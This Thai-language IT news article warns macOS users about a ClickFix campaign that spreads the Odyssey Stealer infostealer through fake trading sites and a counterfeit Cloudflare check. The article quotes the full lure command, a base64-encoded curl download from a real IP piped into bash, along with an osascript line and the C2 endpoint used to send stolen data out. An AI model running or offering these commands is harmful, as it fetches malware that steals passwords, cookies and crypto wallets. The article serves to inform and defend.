ข่าวไอที (IT News)
News
ข่าวไอที ไทยแวร์เป็น ข่าวไอทีล่าสุด คุณภาพที่เราคัดสรรมาให้คุณ ตื่นนอนมาอ่าน ข่าวไอทีวันนี้ จากหลายๆ แหล่งที่เชื่อถือได้

ชาว macOS ระวัง แฮกเกอร์ใช้เทคนิค ClickFix บนเว็บปลอม หลอกฝังมัลแวร์ขโมยรหัสผ่านลงเครื่อง

หลังจากหลอกให้ทำตามคำสั่งรันสคริปท์ผ่าน Terminal แล้ว มัลแวร์จะเข้าถึงระบบ สร้างโฟลเดอร์ชั่วคราวและขโมยข้อมูล
ชาว macOS ระวัง แฮกเกอร์ใช้เทคนิค ClickFix บนเว็บปลอม หลอกฝังมัลแวร์ขโมยรหัสผ่านลงเครื่อง

  29 สิงหาคม 2568      3,766
4 (1 โหวต)   
ยกเลิก

ในช่วงที่ผ่านมาวิธีการหลอกลวงอย่าง ClickFix หรือการหลอกลวงให้เหยื่อกระทำการตามคำสั่งบนเว็บปลอมเพื่อแก้ไขปัญหาบางอย่าง แต่แท้จริงเป็นการหลอกให้กรอกคำสั่งดาวน์โหลด และติดตั้งมัลแวร์นั้น มักเป็นที่นิยมในการโจมตีกลุ่มผู้ใช้งานระบบปฏิบัติการ Windows แต่ในเวลานี้ผู้ใช้งาน macOS ก็อาจโดนหลอกด้วยวิธีการดังกล่าวได้เช่นเดียวกัน

จากรายงานโดยเว็บไซต์ Cyber Security News ได้กล่าวถึงการตรวจพบแคมเปญหลอกลวงเหยื่อที่ใช้งานระบบปฏิบัติการ macOS ด้วยวิธีการ ClickFix แคมเปญใหม่ที่มีจุดประสงค์ในการปล่อยมัลแวร์ประเภทขโมยข้อมูลจากเหยื่อ หรือ Infostealer ตัวใหม่ที่มีชื่อว่า Odyssey Stealer โดยมัลแวร์ดังกล่าวนั้นถูกสร้างขึ้นมาเพื่อใช้งานบนระบบ macOS โดยเฉพาะ ซึ่งการตรวจพบแคมเปญดังกล่าวนั้นเป็นผลงานของทีมวิจัยจาก Forcepoint บริษัทผู้เชี่ยวชาญด้านการจัดการความปลอดภัยของข้อมูล และระบบคลาวด์

ข่าวเกี่ยวกับ Malware อื่นๆ

ชาว macOS ระวัง แฮกเกอร์ใช้เทคนิค ClickFix บนเว็บปลอม หลอกฝังมัลแวร์ขโมยรหัสผ่านลงเครื่อง
ภาพจาก : https://cybersecuritynews.com/clickfix-malware-attacks-macos/

โดยแคมเปญดังกล่าวนั้น แฮกเกอร์จะหลอกให้เหยื่อเข้าสู่เว็บไซต์ที่อ้างตนว่าเป็นแพลตฟอร์มสำหรับการซื้อขายหุ้น (Trading) ซึ่งในที่นี้ทางทีมวิจัยไม่ได้ระบุชื่อแพลตฟอร์มที่ถูกแอบอ้างไว้ โดยหลังจากที่เหยื่อได้มีปฏิสัมพันธ์กับตัวเว็บไซต์สักพักหนึ่ง ตัวเว็บไซต์จะส่งเหยื่อไปยังหน้าที่ทำเลียนแบบบริการของ Cloudflare สำหรับในการตรวจสอบว่าผู้ใช้งานนั้นเป็นมนุษย์หรือไม่ โดยในหน้าที่เหยื่อจะถูกหลอกให้ทำตามวิธีที่อยู่บนหน้าจอเพื่อรัน AppleScript (คล้ายคลึงกับการหลอกให้เหยื่อที่ใช้งาน Windows ทำการรันสคริปท์ PowerShell) โดยเริ่มจากการหลอกให้เหยื่อทำการเปิดแอปพลิเคชัน Terminal และป้อนสคริปท์นี้ลงไปรัน ซึ่งตัวสคริปท์จะทำหน้าที่ในการถอดรหัสสคริปท์ที่ถูกเข้ารหัสอยู่ในรูปแบบ Base-64 ออกมาเป็น Bash โดยตัวสคริปท์นั้นจะเป็นไปดังนี้

echo "Y3VybCAtcyBodHRwOi8vNDUuMTQ2LjEzMC4xMzEvZC92aXB4MTQzNTAgfCBub2h1cCBiYXN0ICY="

| base64 -d | bash

โดยหลังจากที่รันคำสั่งเรียบร้อยแล้ว ก็จะนำไปสู่การติดตั้งมัลแวร์จากไฟล์ AppleScript (.scpt) ที่ภายในมีการซุกซ่อนความสามารถในการรวบรวมข้อมูลต่าง ๆ ที่อยู่บนเครื่องของเหยื่อ ซึ่งตัวไฟล์มัลแวร์ดังกล่าวนั้นจะถูกดาวน์โหลดมาจากเซิร์ฟเวอร์ (hxxp://45.146.130[.]131/d/vipx14350) ซึ่งการทำงานจะเริ่มขึ้นด้วยการที่สคริปท์ดังกล่าวจะทำการสร้างโฟลเดอร์ชั่วคราวภายใต้โฟลเดอร์ /tmp แล้วทำการเปิดใช้งาน osascript เพื่อรันคำสั่ง

osascript -e 'run script "on mkdir(item)ntrynset filePath to quoted form of (POSIX path of item)ndo shell script "mkdir -p " & filePathnend trynend mkdir"'

หลังจากการรันคำสั่งดังกล่าวเสร็จเรียบ ก็จะมีการเด้งหน้าจอหลอกให้เหยื่อใส่รหัสการใช้งานระบบ เพื่อเพิ่มสิทธิ์ในการเข้าถึงระบบให้กับมัลแวร์ หลังจากเสร็จสิ้นขั้นตอน มัลแวร์ก็จะทำการเก็บข้อมูลของระบบของเหยื่อผ่านทางคำสั่ง

system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType

หลังจากนั้นตัวมัลแวร์จะทำการสแกนเพื่อค้นหาไฟล์ที่เกี่ยวข้องกับเว็บเบราว์เซอร์และไฟล์นามสกุล .pdf, .docx, .key เป็นต้น ที่มีการเก็บไว้อยู่ในส่วนของ Desktop และ Library รวมถึงเก็บข้อมูลต่าง ๆ ที่เกี่ยวข้องกับ Profile ผู้ใช้งานบนเว็บเบราว์เซอร์ Firefox และ Chrome อย่างเช่น รหัสผ่านต่าง ๆ, ประวัติการเข้าเว็บไซต์, ไฟล์ Cookies, ไปจนถึงไฟล์เข้ารหัสของกระเป๋าเงินคริปโตเคอร์เรนซีที่ถูกผูกกับเว็บเบราว์เซอร์ โดยข้อมูลทั้งหมดจะถูกบรรจุลงในไฟล์ที่มีชื่อว่า /tmp/out.zip ซึ่งจะถูกส่งไปยังเซิร์ฟเวอร์ควบคุม (C2 หรือ Command and Control) ในส่วนของ Endpoint (ปลายทาง) ที่แฮกเกอร์ตั้งไว้ โดยจะมีลักษณะดังนี้ 45.146.130.131/log

หลังเสร็จสิ้นขั้นตอนทั้งหมดแล้ว มัลแวร์จะทำการลบโฟลเดอร์ชั่วคราวทั้งหมดทิ้งทันที ทำให้ยากต่อการวิเคราะห์ค้นหาว่าเกิดอะไรขึ้นกับเครื่องของเหยื่อ เรียกได้ว่ามัลแวร์ตัวนี้มีความร้ายกาจและทำงานได้อย่างเงียบเชียบมาก

ที่มา :
คำสำคัญ :

ข่าวไอทีที่เกี่ยวข้อง

 

ความคิดเห็น (0)


นำข่าวขึ้นเว็บ Thaiware.com